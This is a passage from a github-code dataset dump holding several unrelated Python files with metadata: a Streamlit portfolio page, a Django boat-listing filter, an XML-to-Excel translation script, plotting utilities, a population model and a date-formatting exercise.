"file_size_in_byte": 5058, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.pivot_table", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.NaN", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pandas.to_datetime", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 28, "usage_type": "attribute"}, {"api_name": "scipy.special.gammaincc", "line_number": 34, "usage_type": "call"}, {"api_name": "scipy.special", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 47, "usage_type": "call"}, {"api_name": "scipy.special.gamma", "line_number": 48, "usage_type": "call"}, {"api_name": "scipy.special", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.power", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}]} +{"seq_id": "29772233600", "text": "\n\nimport streamlit as st\nimport json\nimport requests\nfrom streamlit_lottie import st_lottie\n\nfrom PIL import Image\n\nprofile_pic =Image.open(\"Portfolio/assets/prt.jpg\")\n\nst.set_page_config(page_title=\"Praneeth Profile Page\", page_icon=profile_pic,layout=\"wide\")\n\ndef local_css(file_name):\n with open(file_name) as f:\n st.markdown(f\"\",unsafe_allow_html=True)\n local_css(\"style/button.css\")\nst.balloons()\ndef load_lottiefile(filepath:str):\n with open(filepath,\"r\") as f:\n return json.load(f)\nlottie_coding = load_lottiefile(\"Portfolio/lottiefiles/coding.json\")\n\n\n \nst.title(\"Welcome to Praneeth's World\")\nst.image(profile_pic,width=200)\n\nwith st.container():\n st.subheader(\"Hi, I am Praneeth Badanapally :wave:\")\n st.title(\"A Data Analyst from India\")\n st.write(\"### Passionate about to explore the technology. An inquisitive towards technology to empower the development and to solve interesting and challenging problems using computer programming.\")\n\nwith st.container():\n st.write(\"---\")\n left_column,right_column =st.columns(2)\n with left_column:\n st.header(\"# What I do?\")\n st.write(\"#\")\n st.write(\n \"\"\"\n # Usually I am technophile and likes to do\n\n ### - Explore\n\n ### - Learn\n\n ### - Implement\n\n ### - Solve real time problems using ML and AI\n\n ## If this sounds interesting to you ,consider me and visit to my social handles mentioned below or put a message to me to reach you and let me help you to solve problem\n \n \"\"\"\n ) \n with right_column:\n st_lottie(\n lottie_coding,\n speed = 1,\n reverse= False,\n loop= True,\n quality= \"hign\",\n # height=500,\n width= 500,\n key=None,\n)\nwith st.container():\n st.write(\"---\")\n left_column,right_column =st.columns(2)\n with left_column:\n def load_lottiefile(filepath:str):\n with open(filepath,\"r\") as f:\n return json.load(f)\n lottie_hello = load_lottiefile(\"Portfolio/lottiefiles/hello.json\")\n\n # def load_lottieurl(url:str):\n # r = requests.get(url)\n # if r.status_code !=200:\n # return None\n # return r.json()\n # lottie_hello = load_lottieurl(\"https://assets3.lottiefiles.com/packages/lf20_emy3lanj.json\")\n\n st_lottie(\n lottie_hello,\n speed = 1,\n reverse= False,\n loop= True,\n quality= \"hign\",\n height=500,\n width= 500,\n key=\"hello\"\n )\n st.write(\" # Let's \")\n t = '

    Connect

    '\n # st.markdown(t, unsafe_allow_html=True)\n # new_title = '

    Build

    '\n # st.markdown(new_title, unsafe_allow_html=True)\n # s = '

    Grow

    '\n st.markdown(t, unsafe_allow_html=True)\n with right_column:\n \n def load_lottieurl(url:str):\n r = requests.get(url)\n if r.status_code !=200:\n return None\n return r.json()\n lottie_anime = load_lottieurl(\"https://assets2.lottiefiles.com/packages/lf20_bpqri9y8.json\")\n\n st_lottie(\n lottie_anime,\n speed = 1,\n reverse= False,\n loop= True,\n quality= \"hign\",\n height=500,\n width= 500,\n key=\"bye\"\n )\n st.write(\" # Solve \")\n q = '

    Together

    '\n # st.markdown(t, unsafe_allow_html=True)\n # new_title = '

    Build

    '\n # st.markdown(new_title, unsafe_allow_html=True)\n # s = '

    Grow

    '\n st.markdown(q, unsafe_allow_html=True)\n \n \n with st.container():\n left_column,right_column =st.columns(2)\n with left_column:\n social_media = \"\"\"\n\n\n\n\n\n\n\n \n\n\"\"\"\n st.markdown(social_media,unsafe_allow_html=True)\n def local_css(file_name):\n with open(file_name) as f:\n st.markdown(f\"\",unsafe_allow_html=\n True)\n local_css(\"Portfolio/style/button.css\")\n\n \n \n \n \n\n\n\n\nst.header(\":mailbox: Get in touch with me !!!!\")\ncontact_form =\"\"\"\n
    \n \n \n \n \n \n
    \n\"\"\"\n\nst.markdown(contact_form,unsafe_allow_html=True)\n\ndef local_css(file_name):\n with open(file_name) as f:\n st.markdown(f\"\",unsafe_allow_html=\n True)\nlocal_css(\"Portfolio/style/style.css\")\n", "repo_name": "Praneeth-official/Portfolio", "sub_path": "Portfolio/1_🏠Homepage.py", "file_name": "1_🏠Homepage.py", "file_ext": "py", "file_size_in_byte": 5647, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "PIL.Image.open", "line_number": 10, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 10, "usage_type": "name"}, {"api_name": "streamlit.set_page_config", "line_number": 12, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 16, "usage_type": "call"}, {"api_name": "streamlit.balloons", "line_number": 18, "usage_type": "call"}, {"api_name": "json.load", "line_number": 21, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 26, "usage_type": "call"}, {"api_name": "streamlit.image", "line_number": 27, "usage_type": "call"}, {"api_name": "streamlit.container", "line_number": 29, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 30, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 31, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 32, "usage_type": "call"}, {"api_name": "streamlit.container", "line_number": 34, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 35, "usage_type": "call"}, {"api_name": "streamlit.columns", "line_number": 36, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 38, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 39, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 40, "usage_type": "call"}, {"api_name": "streamlit_lottie.st_lottie", "line_number": 57, "usage_type": "call"}, {"api_name": "streamlit.container", "line_number": 67, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 68, "usage_type": "call"}, {"api_name": "streamlit.columns", "line_number": 69, "usage_type": "call"}, {"api_name": "json.load", "line_number": 73, "usage_type": "call"}, {"api_name": "streamlit_lottie.st_lottie", "line_number": 83, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 93, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 99, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 103, "usage_type": "call"}, {"api_name": "streamlit_lottie.st_lottie", "line_number": 109, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 119, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 125, "usage_type": "call"}, {"api_name": "streamlit.container", "line_number": 128, "usage_type": "call"}, {"api_name": "streamlit.columns", "line_number": 129, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 142, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 145, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 157, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 168, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 172, "usage_type": "call"}]} +{"seq_id": "11220296322", "text": "from django.utils.translation import gettext_lazy as _\nfrom django import forms\nfrom django.db.models import Q\n\nimport django_filters\nfrom .models import Listing\nfrom boats.models import Boat\n\n\nclass ListingFilter(django_filters.FilterSet):\n DECADE_CHOICES = (\n (\"new\", _(\"90s and newer\")),\n (\"80s\", _(\"80s\")),\n (\"70s\", _(\"70s\")),\n (\"60s\", _(\"60s\")),\n (\"old\", _(\"50s and older\")),\n )\n\n PRICE_CHOICES = (\n (\"150\", _(\"150K\")),\n (\"100\", _(\"100K\")),\n (\"75\", _(\"75K\")),\n (\"50\", _(\"50K\")),\n (\"20\", _(\"20K\")),\n )\n LENGTH_CHOICES = (\n (\"large\", _(\"44 and more\")),\n (\"42\", _(\"42-43\")),\n (\"40\", _(\"40-41\")),\n (\"38\", _(\"38-39\")),\n (\"36\", _(\"36-37\")),\n (\"34\", _(\"34-35\")),\n (\"32\", _(\"32-33\")),\n (\"30\", _(\"30-31\")),\n (\"28\", _(\"28-29\")),\n (\"26\", _(\"26-27\")),\n (\"25\", _(\"25 and less\")),\n )\n\n name = django_filters.ModelChoiceFilter(\n field_name=\"boat_id\",\n label=\"Model\",\n queryset=Boat.objects.all(),\n empty_label=\"All Boats\",\n )\n bluewater = django_filters.BooleanFilter(\n field_name=\"boat__bluewater\",\n label=\"Bluewater\",\n widget=forms.CheckboxInput(),\n method=\"filter_bluewater\",\n )\n location = django_filters.BooleanFilter(\n label=\"US Only\", method=\"filter_location\", widget=forms.CheckboxInput()\n )\n\n length = django_filters.MultipleChoiceFilter(\n choices=LENGTH_CHOICES,\n method=\"filter_length\",\n widget=forms.CheckboxSelectMultiple,\n )\n\n decade = django_filters.MultipleChoiceFilter(\n choices=DECADE_CHOICES,\n method=\"filter_decade\",\n widget=forms.CheckboxSelectMultiple,\n )\n\n price = django_filters.MultipleChoiceFilter(\n choices=PRICE_CHOICES,\n method=\"filter_price\",\n widget=forms.CheckboxSelectMultiple,\n )\n\n class Meta:\n model = Listing\n fields = [\"name\", \"bluewater\", \"decade\", \"length\"]\n\n def filter_bluewater(self, queryset, name, value):\n if value:\n return queryset.filter(boat__bluewater=True)\n return queryset\n\n def filter_location(self, queryset, name, value):\n if value:\n return queryset.filter(location__icontains=\"USA\")\n return queryset\n\n def filter_price(self, queryset, name, value):\n query = Q()\n for v in value:\n if v == \"150\":\n query = query | Q(price__lte=150000)\n if v == \"100\":\n query = query | Q(price__lte=100000)\n if v == \"75\":\n query = query | Q(price__lte=75000)\n if v == \"50\":\n query = query | Q(price__lte=50000)\n if v == \"20\":\n query = query | Q(price__lte=20000)\n return queryset.filter(query)\n\n def filter_decade(self, queryset, name, value):\n query = Q()\n\n for v in value:\n if v == \"old\":\n query = query | Q(year__lte=1959)\n if v == \"60s\":\n query = query | Q(year__gte=1960, year__lte=1969)\n if v == \"70s\":\n query = query | Q(year__gte=1970, year__lte=1979)\n if v == \"80s\":\n query = query | Q(year__gte=1980, year__lte=1989)\n if v == \"new\":\n query = query | Q(year__gte=1990)\n return queryset.filter(query)\n\n def filter_length(self, queryset, name, value):\n query = Q()\n for v in value:\n if v == \"large\":\n query = query | Q(boat__length__gte=44)\n if v == \"42\":\n query = query | Q(boat__length__gte=42, boat__length__lte=43.9)\n if v == \"40\":\n query = query | Q(boat__length__gte=40, boat__length__lte=41.9)\n if v == \"38\":\n query = query | Q(boat__length__gte=38, boat__length__lte=39.9)\n if v == \"36\":\n query = query | Q(boat__length__gte=36, boat__length__lte=37.9)\n if v == \"34\":\n query = query | Q(boat__length__gte=34, boat__length__lte=35.9)\n if v == \"32\":\n query = query | Q(boat__length__gte=32, boat__length__lte=33.9)\n if v == \"30\":\n query = query | Q(boat__length__gte=30, boat__length__lte=31.9)\n if v == \"28\":\n query = query | Q(boat__length__gte=28, boat__length__lte=29.9)\n if v == \"26\":\n query = query | Q(boat__length__gte=26, boat__length__lte=27.9)\n if v == \"25\":\n query = query | Q(boat__length__lte=25.9)\n\n return queryset.filter(query)\n", "repo_name": "adamrt/sailboat-search", "sub_path": "app/listings/filters.py", "file_name": "filters.py", "file_ext": "py", "file_size_in_byte": 4701, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django_filters.FilterSet", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 12, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 13, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 14, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 15, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 16, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 20, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 21, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 22, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 23, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 24, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 27, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 28, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 29, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 30, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 31, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 32, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 33, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 34, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 35, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 36, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 37, "usage_type": "call"}, {"api_name": "django_filters.ModelChoiceFilter", "line_number": 40, "usage_type": "call"}, {"api_name": "boats.models.Boat.objects.all", "line_number": 43, "usage_type": "call"}, {"api_name": "boats.models.Boat.objects", "line_number": 43, "usage_type": "attribute"}, {"api_name": "boats.models.Boat", "line_number": 43, "usage_type": "name"}, {"api_name": "django_filters.BooleanFilter", "line_number": 46, "usage_type": "call"}, {"api_name": "django.forms.CheckboxInput", "line_number": 49, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 49, "usage_type": "name"}, {"api_name": "django_filters.BooleanFilter", "line_number": 52, "usage_type": "call"}, {"api_name": "django.forms.CheckboxInput", "line_number": 53, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 53, "usage_type": "name"}, {"api_name": "django_filters.MultipleChoiceFilter", "line_number": 56, "usage_type": "call"}, {"api_name": "django.forms.CheckboxSelectMultiple", "line_number": 59, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 59, "usage_type": "name"}, {"api_name": "django_filters.MultipleChoiceFilter", "line_number": 62, "usage_type": "call"}, {"api_name": "django.forms.CheckboxSelectMultiple", "line_number": 65, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 65, "usage_type": "name"}, {"api_name": "django_filters.MultipleChoiceFilter", "line_number": 68, "usage_type": "call"}, {"api_name": "django.forms.CheckboxSelectMultiple", "line_number": 71, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 71, "usage_type": "name"}, {"api_name": "models.Listing", "line_number": 75, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 89, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 92, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 94, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 96, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 98, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 100, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 104, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 108, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 110, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 112, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 114, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 116, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 120, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 123, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 125, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 127, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 129, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 131, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 133, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 135, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 137, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 139, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 141, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 143, "usage_type": "call"}]} +{"seq_id": "72277811164", "text": "from xml.etree.ElementTree import parse\nimport xlsxwriter\n\nworkbook = xlsxwriter.Workbook('C:/Users/Administrator/Desktop/codelines/scripts/xlsxpy/output.xlsx')\nworksheet = workbook.add_worksheet()\n\nbegin = '\\n'\nend = ''\n\ndef get_all_list():\n all_list = []\n for i in range(0, 12):\n rulist = []\n rupath = 'C:/Users/Administrator/Desktop/codelines/scripts/xlsxpy/xml/' + str(i) +'.xml'\n #print(rupath)\n document = parse(rupath)\n tree = document.getroot()\n for string in tree.findall('string'):\n name = string.get('name')\n rulist.append(name)\n all_list = all_list + rulist\n return list(set(all_list))\n\nall_list = get_all_list()\nall_list = sorted(all_list)\n\ndef parse_doc(doc):\n root = doc.getroot()\n element = {}\n for string in root.findall('string'):\n name = string.get('name')\n element[name] = string.text\n return element\n\nli = [7, 2, 3, 9, 10, 4, 8, 5, 1, 0, 11, 6]\n\nlanguage = {0:'UK', 1:'Turkish', 2:'Russian', 3:'意大利', 4:'荷兰语', 5:'匈牙利语', 6:'法语', 7:'芬兰语', 8:'西班牙语', 9:'希腊语', 10:'捷克语', 11:'德语'}\n\nfor i in li:\n new_list = []\n #print(language[i])\n #new_list.append(language[i])\n #new_list.append(begin)\n xmlpath = 'C:/Users/Administrator/Desktop/codelines/scripts/xlsxpy/xml/' + str(i) + '.xml'\n doc = parse(xmlpath)\n element = parse_doc(doc)\n sorted_element = sorted(element.items())\n\n for a in all_list:\n new_list.append(None)\n for k, v in sorted_element:\n if a == k:\n if v == None:\n dystr = '\\n'\n else:\n dystr = '' + v + '\\n'\n new_list[all_list.index(a)] = dystr\n\n #new_list.append(end)\n j = li.index(i)\n #print(li.index(i))\n worksheet.write_column(0, j, new_list)\n #print(lists)\n #path = \"C:/Users/Administrator/Desktop/test_new/\" + str(i) + \".txt\"\n #f = open(path, \"w\", encoding='UTF-8')\n #f.writelines(lists)\n #f.close()\n\n#nums = {}\n#print(str(i) + ' ' + str(len(lists)))\n#sorted_nums = sorted(nums.items(),key = lambda x:x[1],reverse = True)\n#keys = []\n#for num in sorted_nums:\n# keys.append(num[0])\n#print(keys)\nworkbook.close()\n \n\n\n\n\n", "repo_name": "yiailake/codelines", "sub_path": "scripts/xlsxpy/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2361, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "xlsxwriter.Workbook", "line_number": 4, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 16, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 45, "usage_type": "call"}]} +{"seq_id": "10076492184", "text": "import sqlite3\n\nconn = sqlite3.connect('database.db')\n\nc = conn.cursor()\n\n\n\n#c.execute(\"CREATE TABLE accounts(username TEXT, password TEXT, level INTEGER)\")\n#c.execute(\"DROP TABLE accounts\")\nc.execute(\"UPDATE accounts SET level = (?)\", (0,))\nconn.commit()\n", "repo_name": "12iyad/Chicken-run", "sub_path": "Chicken-run/dbcreater.py", "file_name": "dbcreater.py", "file_ext": "py", "file_size_in_byte": 256, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sqlite3.connect", "line_number": 3, "usage_type": "call"}]} +{"seq_id": "27184951367", "text": "import pygraphviz as pgv\nimport sys\n\ndef main(argv):\n if len(argv) not in (2,3,4,5):\n print('Usage: draw_dot.py [layout, default is neato; optionally multiple layouts separated by \",\"] [overlap mode {scale, false}, default is false] [label edges {0,1}]')\n else:\n layouts = ['neato']\n if len(argv) >= 3:\n layouts = argv[2].split(',')\n\n G = pgv.AGraph(argv[0])\n\n overlap='false'\n if len(argv) >= 4:\n overlap=argv[3]\n\n label_edges=True\n if len(argv) >= 5:\n label_edges = bool(int(argv[4]))\n if not label_edges:\n for e in G.edges():\n e.attr['label'] = ' '\n \n for lo in layouts[:-1]:\n G.layout(prog=lo)\n G.layout(prog=layouts[-1], args='-Goverlap=' + overlap + ' -Gsplines=true')\n\n G.draw(argv[1])\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n", "repo_name": "OpenMS/OpenMS", "sub_path": "src/openms/thirdparty/evergreen/src/Utility/draw_dot.py", "file_name": "draw_dot.py", "file_ext": "py", "file_size_in_byte": 944, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 430, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pygraphviz.AGraph", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 32, "usage_type": "attribute"}]} +{"seq_id": "15871559188", "text": "import pathlib\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport twutils.plot\n\n# Simple example of how to use the plotter class\n# to develop your own visualization script\n\nfile_to_plot = pathlib.Path.home() / 'Run' / 'Ez.npy'\n\n# First make a plotter object tied to a specific file.\n# Make it buffered if you want to load all data at once.\n# For huge files make it unbuffered.\nplotter = twutils.plot.plotter(file_to_plot,units='cgs',buffered=False)\nplotter.display_info()\nplt.figure(1,figsize=(10,4),dpi=75)\n\n# 2D Figure Example\nplt.subplot(121)\n# slicing_spec : first two characters are axes to plot, second two are the slice axes\n# slice_to_plot : select the slices to plot (order is whatever is in slicing_spec)\ndata_slice,plot_dict = plotter.falsecolor2d(slicing_spec='zxyt',slice_to_plot=(0,-1))\nplt.imshow(data_slice,aspect='auto',origin='lower',extent=plot_dict['extent'],vmin=plot_dict['vmin'],vmax=plot_dict['vmax'],cmap='jet')\nbar = plt.colorbar()\nplt.xlabel(plot_dict['xlabel'],fontsize=18)\nplt.ylabel(plot_dict['ylabel'],fontsize=18)\nbar.set_label(plot_dict['blabel'],fontsize=18)\n\n# Lineout Example\nplt.subplot(122)\nabcissa,ordinate,plot_dict = plotter.lineout(slicing_spec='zxyt',slice_to_plot=(int(plot_dict['dims'][1]/2),0,-1))\nplt.plot(abcissa,ordinate)\nplt.xlabel(plot_dict['xlabel'],fontsize=18)\nplt.ylabel(plot_dict['ylabel'],fontsize=18)\n\nplt.tight_layout()\nplt.show()\n", "repo_name": "Tudoustein/turboWAVE", "sub_path": "tools/extras/simple-plot.py", "file_name": "simple-plot.py", "file_ext": "py", "file_size_in_byte": 1397, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "86", "api": [{"api_name": "pathlib.Path.home", "line_number": 9, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "twutils.plot.plot.plotter", "line_number": 14, "usage_type": "call"}, {"api_name": "twutils.plot.plot", "line_number": 14, "usage_type": "attribute"}, {"api_name": "twutils.plot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}]} +{"seq_id": "9890298452", "text": "# import data\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nregionpop = pd.read_csv(\"regionpop.csv\", header=None)\n\n#defined a function to calculate the population\ndef cal_pop(num):\n country = regionpop.iloc[num][0]\n init_pop = regionpop.iloc[num][1]\n each_pop = [init_pop]\n for i in range(2,18):\n each_pop.append( each_pop[-1] * (1 + regionpop.iloc[num][i]*0.01))\n return country, each_pop\n\n# subplot each region's population\nfig, figax = plt.subplots(6,1, figsize = (10,20)) \nfor i in range(len(regionpop)):\n time = np.arange(2020,2101,5)\n figax[i].plot(time, cal_pop(i)[1])\n figax[i].set_title(cal_pop(i)[0],fontsize=15)\n figax[i].set_xlabel('time')\n figax[i].set_ylabel('Population')\n figax[i].grid(True)\n plt.tight_layout()\n \nplt.savefig(\"region population.jpg\")\n", "repo_name": "louxinyi/cmse202-f19-turnin", "sub_path": "hw-01/run_model.py", "file_name": "run_model.py", "file_ext": "py", "file_size_in_byte": 841, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.read_csv", "line_number": 5, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}]} +{"seq_id": "21027839900", "text": "def date_time(time):\n \"\"\"Computer date and time format consists only of numbers, for example: 21.05.2018 16:30\n Humans prefer to see something like this: 21 May 2018 year, 16 hours 30 minutes\n Your task is simple - convert the input date and time from computer format into a \"human\" format.\n\n example\n\n Input: Date and time as a string\n\n Output: The same date and time, but in a more readable format\n\n Precondition:\n 0 < date <= 31\n 0 < month <= 12\n 0 < year <= 3000\n 0 < hours < 24\n 0 < minutes < 60\n \"\"\"\n from datetime import datetime\n date_obj = datetime.strptime(time, '%d.%m.%Y %H:%M')\n return date_obj.strftime('%-d %B %Y year %-H {hours} %-M {minutes}').format(\n hours=\"hour\" if date_obj.hour == 1 else \"hours\",\n minutes='minute' if date_obj.minute == 1 else \"minutes\"\n )\n\nif __name__ == '__main__':\n\n #These \"asserts\" using only for self-checking and not necessary for auto-testing\n assert date_time(\"01.01.2000 00:00\") == \"1 January 2000 year 0 hours 0 minutes\", \"Millenium\"\n assert date_time(\"09.05.1945 